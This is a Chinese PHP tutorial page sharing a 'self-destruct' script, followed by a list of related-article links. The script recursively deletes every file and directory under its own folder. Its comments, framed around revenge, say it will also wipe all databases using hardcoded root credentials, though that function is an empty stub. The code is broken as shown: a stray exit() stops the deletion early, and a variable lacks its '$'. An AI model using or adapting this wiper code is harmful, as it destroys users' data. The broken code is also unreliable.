PHP自毁程序(慎用)


Posted in PHP onJuly 09, 2015

本文实例讲述了PHP自毁程序。分享给大家供大家参考。具体实现方法如下:

<?php
// +----------------------------------------------------------------------
// | Kill!!
// | 程序将清除本目录所有文件、目录
// | 如果设置了数据库信息,则尝试删除所有数据库和表数据(前提是权限要够!)
// +----------------------------------------------------------------------
// | Version: $Id$
// +---------------------------------------------------------------------- 
//----------数据库配置区域-----------------
//复仇的力量是很可怕的,所以无需指定数据库,全删!
define('DB_USER', 'root');
define('DB_PWD', 'root');
define('DB_HOST', 'localhost');
define('DB_PORT', '3216');
define('DB_DAMAGE', true); //为false时,不碰数据库
run();
/**
 * 主体思想必须光辉伟大!
 *
 * @return void
 **/
function run()
{
 //删除文件
 deletedir();
 //删除数据库
 deleteDB();
}
/**
 * 呵呵呵,删除当前目录所有文件(递归)
 *
 * @return void
 **/
function deletedir($dir = ''){
 if ($dir == '') {
  $dir = realpath('.');
 }
 echo $dir;
 exit();
  if(!handle=@opendir($dir)){
  //检测要打开目录是否存在
  die("没有该目录");
  }
  while(false !==($file=readdir($handle))){
    if($file!=="."&&$file!==".."){
    //排除当前目录与父级目录
    $file=$dir .DIRECTORY_SEPARATOR. $file;
    if(is_dir($file)){
     deletedir($file);
    }else{
     if(@unlink($file)){
      echo "文件<b>$file</b>删除成功。<br>";
     }else{
      echo "文件<b>$file</b>删除失败!<br>";
     }
    }
    }
    if(@rmdir($dir)){
    echo "目录<b>$dir</b>删除成功了。<br>\n";
    }else{
    echo "目录<b>$dir</b>删除失败!<br>\n";
    }
   }
/**
 * 呵呵呵,删除数据库
 *
 * @return void
 **/
function deleteDB()
{
 if(DB_DAMAGE === true){
  //start
 }
}

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
判“新”函数:得到今天与明天的秒数
Oct 09 PHP
PHP中的array数组类型分析说明
Jul 27 PHP
php表单转换textarea换行符的方法
Sep 10 PHP
PHP的基本常识小结
Jul 05 PHP
php 字符串中的\n换行符无效、不能换行的解决方法
Apr 02 PHP
跟我学Laravel之视图 &amp; Response
Oct 15 PHP
php中strtotime函数用法详解
Nov 15 PHP
php表单敏感字符过滤类
Dec 08 PHP
ThinkPHP提示错误Fatal error: Allowed memory size的解决方法
Feb 12 PHP
PHP微信开发之有道翻译
Jun 23 PHP
PHP基于自定义类随机生成姓名的方法示例
Aug 05 PHP
PHP attributes()函数讲解
Feb 03 PHP
PHP模板解析类实例
Jul 09 #PHP
PHP多文件上传实例
Jul 09 #PHP
php判断linux下程序问题实例
Jul 09 #PHP
php实现html标签闭合检测与修复方法
Jul 09 #PHP
php可扩展的验证类实例(可对邮件、手机号、URL等验证)
Jul 09 #PHP
php类常量用法实例分析
Jul 09 #PHP
php求一个网段开始与结束IP地址的方法
Jul 09 #PHP
You might like
PHP获取类中常量,属性,及方法列表的方法
2009/04/09 PHP
php函数与传递参数实例分析
2014/11/15 PHP
js显示时间 js显示最后修改时间
2013/01/02 Javascript
JQuery slideshow的一个小问题(如何发现及解决过程)
2013/02/06 Javascript
jQuery中offset()方法用法实例
2015/01/16 Javascript
jQuery实现当前页面标签高亮显示的方法
2015/03/10 Javascript
详解JavaScript中双等号引起的隐性类型转换
2016/05/30 Javascript
JavaScript中的call和apply的用途以及区别
2017/01/11 Javascript
jQuery鼠标悬停内容动画切换效果
2017/04/27 jQuery
安装vue-cli报错 -4058 的解决方法
2017/10/19 Javascript
基于vue-resource jsonp跨域问题的解决方法
2018/02/03 Javascript
vue实现裁切图片同时实现放大、缩小、旋转功能
2018/03/02 Javascript
AngularJS 应用模块化的使用
2018/04/04 Javascript
Vue.js 利用v-for中的index值实现隔行变色
2018/08/01 Javascript
vue生成文件本地打开查看效果的实例
2018/09/06 Javascript
js实现按钮开关单机下拉菜单效果
2018/11/22 Javascript
Vue中的验证登录状态的实现方法
2019/03/09 Javascript
nodejs中request库使用HTTPS代理的方法
2019/04/30 NodeJs
jQuery 选择器用法基础入门示例
2020/01/04 jQuery
vue学习笔记之Vue中css动画原理简单示例
2020/02/29 Javascript
Node.js web 应用如何封装到Docker容器中
2020/09/01 Javascript
JS实现小米轮播图
2020/09/21 Javascript
浅谈vue websocket nodeJS 进行实时通信踩到的坑
2020/09/22 NodeJs
JavaScript实现跟随鼠标移动的盒子
2021/01/28 Javascript
Python原始字符串(raw strings)用法实例
2014/10/13 Python
基于python实现数组格式参数加密计算
2020/04/21 Python
Pytest单元测试框架如何实现参数化
2020/09/05 Python
Python 将代码转换为可执行文件脱离python环境运行(步骤详解)
2021/01/25 Python
John Hardy官方网站:手工设计首饰的奢侈品牌
2017/07/05 全球购物
什么是GWT的Module
2013/01/20 面试题
金融专业个人求职信
2013/09/22 职场文书
数学专业推荐信范文
2013/11/21 职场文书
2014年党员教师自我剖析材料
2014/09/30 职场文书
使用vue-element-admin框架从后端动态获取菜单功能的实现
2021/04/29 Vue.js
MySQL表字段时间设置默认值
2021/05/13 MySQL
Windows和Linux上部署Golang并运行程序
2022/04/22 Servers